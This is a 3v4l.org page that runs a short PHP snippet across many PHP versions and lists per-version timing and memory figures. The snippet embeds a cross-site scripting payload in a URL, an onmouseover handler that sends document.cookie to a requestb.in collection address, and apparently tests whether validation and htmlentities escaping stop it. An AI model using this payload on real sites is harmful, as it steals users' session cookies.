3v4l.org

run code in 300+ PHP versions simultaneously
<?php function safeHTML($var) { return htmlentities($var); } $link = 'http://moncul.com/toto.jpg\x22onmouseover=javascript:window.location=\x22http://requestb.in/sr3wb0sr?flag=\x22+(document.cookie);'; if (!is_null($link)) { if (!filter_var($link, FILTER_VALIDATE_URL)) printf("ERROR !"); } if (is_null($link)) { $link = 'http://'; printf("NULL !"); } printf('<a href="%s">'."link".'</a>', safeHTML($link)); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01016.75
8.3.50.0140.00821.09
8.3.40.0070.00718.68
8.3.30.0150.00018.59
8.3.20.0070.00019.89
8.3.10.0040.00421.65
8.3.00.0080.00020.01
8.2.180.0120.00616.50
8.2.170.0060.00822.96
8.2.160.0100.00320.38
8.2.150.0060.00324.18
8.2.140.0030.00524.66
8.2.130.0050.00226.16
8.2.120.0100.00017.63
8.2.110.0070.00319.36
8.2.100.0120.00017.50
8.2.90.0050.00319.21
8.2.80.0030.00517.97
8.2.70.0040.00417.63
8.2.60.0060.00317.88
8.2.50.0040.00418.07
8.2.40.0080.00419.35
8.2.30.0000.00820.72
8.2.20.0030.00517.58
8.2.10.0000.00818.09
8.2.00.0050.00318.09
8.1.280.0090.00625.92
8.1.270.0000.00823.83
8.1.260.0040.00426.35
8.1.250.0000.00928.09
8.1.240.0060.00323.97
8.1.230.0040.00817.76
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0060.00317.22
8.1.190.0030.00517.57
8.1.180.0060.00318.10
8.1.170.0060.00318.65
8.1.160.0040.00421.88
8.1.150.0000.00918.76
8.1.140.0050.00517.36
8.1.130.0070.00017.75
8.1.120.0040.00417.50
8.1.110.0080.00017.50
8.1.100.0070.00017.45
8.1.90.0020.00517.36
8.1.80.0040.00717.41
8.1.70.0030.00517.43
8.1.60.0050.00317.46
8.1.50.0060.00317.41
8.1.40.0000.00917.54
8.1.30.0060.00317.62
8.1.20.0030.00617.65
8.1.10.0000.00717.46
8.1.00.0000.00817.27
8.0.300.0060.00318.77
8.0.290.0040.00416.63
8.0.280.0000.00818.45
8.0.270.0000.00717.25
8.0.260.0030.00317.25
8.0.250.0030.00416.87
8.0.240.0070.00016.99
8.0.230.0030.00316.98
8.0.220.0030.00616.87
8.0.210.0040.00416.78
8.0.200.0080.00016.93
8.0.190.0040.00416.91
8.0.180.0040.00416.79
8.0.170.0070.00016.95
8.0.160.0040.00416.84
8.0.150.0040.00416.81
8.0.140.0040.00416.73
8.0.130.0030.00313.29
8.0.120.0000.00816.85
8.0.110.0070.00016.80
8.0.100.0040.00416.93
8.0.90.0000.00716.87
8.0.80.0130.00316.77
8.0.70.0000.00716.78
8.0.60.0040.00416.77
8.0.50.0040.00416.94
8.0.30.0070.01017.11
8.0.20.0110.00817.40
8.0.10.0000.00817.07
8.0.00.0090.01116.96
7.4.330.0000.00515.08
7.4.320.0080.00016.57
7.4.300.0030.00316.59
7.4.290.0040.00416.51
7.4.280.0040.00416.60
7.4.270.0040.00416.45
7.4.260.0000.00716.57
7.4.250.0000.00716.36
7.4.240.0040.00416.61
7.4.230.0030.00316.66
7.4.220.0140.00316.62
7.4.210.0030.01316.54
7.4.200.0030.00316.38
7.4.160.0030.01216.46
7.4.150.0080.00917.40
7.4.140.0090.01117.86
7.4.130.0100.00916.47
7.4.120.0110.00716.52
7.4.110.0090.01216.48
7.4.100.0060.01116.55
7.4.90.0190.00616.64
7.4.80.0000.01819.39
7.4.70.0060.00916.48
7.4.60.0100.00716.61
7.4.50.0040.00416.18
7.4.40.0080.00816.34
7.4.30.0100.01316.59
7.4.00.0070.00715.08
7.3.330.0000.00513.23
7.3.320.0050.00013.05
7.3.310.0000.00716.22
7.3.300.0040.00416.19
7.3.290.0070.00916.21
7.3.280.0060.01016.22
7.3.270.0100.00717.40
7.3.260.0090.00816.48
7.3.250.0140.00416.45
7.3.240.0100.00716.53
7.3.230.0200.00616.39
7.3.210.0100.00716.32
7.3.200.0080.00816.36
7.3.190.0060.00916.49
7.3.180.0090.00616.31
7.3.170.0070.01016.31
7.3.160.0060.01516.41
7.2.330.0060.01316.77
7.2.320.0120.00616.38
7.2.310.0110.00716.58
7.2.300.0150.00916.66
7.2.290.0030.01416.40
7.2.00.0070.01019.24
7.1.200.0000.01115.69
7.1.100.0110.00717.80
7.1.70.0100.00017.38
7.1.60.0030.02219.29
7.1.50.0170.00316.95
7.1.00.0100.07022.50
7.0.200.0210.01014.85
7.0.60.0070.08719.79
7.0.50.0000.05017.87
7.0.40.0070.08320.23
7.0.30.0370.07320.08
7.0.20.0370.07320.24
7.0.10.0070.09020.23
7.0.00.0100.05720.16
5.6.210.0030.04020.47
5.6.200.0100.07318.25
5.6.190.0100.08720.42
5.6.180.0400.06320.59
5.6.170.0300.05020.44
5.6.160.0070.05020.45
5.6.150.0030.05018.15
5.6.140.0030.08318.15
5.6.130.0030.04318.28
5.6.120.0000.06021.00
5.6.110.0230.06721.01
5.6.100.0070.05720.98
5.6.90.0070.04020.85
5.6.80.0070.07720.49
5.5.350.0300.06720.36
5.5.340.0130.06017.98
5.5.330.0100.06320.57
5.5.320.0370.07020.36
5.5.310.1270.06020.24
5.5.300.0000.04017.95
5.5.290.0000.05318.06
5.5.280.0170.07020.77
5.5.270.0000.05320.64
5.5.260.0000.07020.87
5.5.250.0100.05720.55
5.5.240.0070.07320.26
5.4.450.0700.06019.61
5.4.440.0700.06719.60
5.4.430.0830.05019.62
5.4.420.0700.06319.57
5.4.410.0770.05019.34
5.4.400.0770.05019.25
5.4.390.0830.06019.28
5.4.380.0730.05718.86
5.4.370.0830.06018.98
5.4.360.0800.06019.13
5.4.350.0700.05319.01
5.4.340.0670.06018.99
5.4.320.0770.05019.26
5.4.310.0770.05019.37
5.4.300.0600.06019.14
5.4.290.0730.04719.14
5.4.280.0700.05018.96
5.4.270.0770.04719.37
5.4.260.0770.04718.86
5.4.250.0770.05018.82
5.4.240.0800.05018.82
5.4.230.0730.06019.36
5.4.220.0700.05319.13
5.4.210.0800.05019.24
5.4.200.0830.04319.14
5.4.190.0730.05319.04
5.4.180.0700.05718.98
5.4.170.0800.04318.84
5.4.160.0800.04719.34
5.4.150.0800.04719.27
5.4.140.0870.05316.56
5.4.130.0730.04316.55
5.4.120.0800.04016.52
5.4.110.0700.05016.45
5.4.100.0730.04716.60
5.4.90.0870.03316.52
5.4.80.0500.06716.60
5.4.70.0000.03716.23
5.4.60.0230.07016.43
5.4.50.0230.06016.43
5.4.40.0170.06016.54
5.4.30.0000.05316.53
5.4.20.0030.05716.51
5.4.10.0230.04016.41

preferences:
68.87 ms | 401 KiB | 5 Q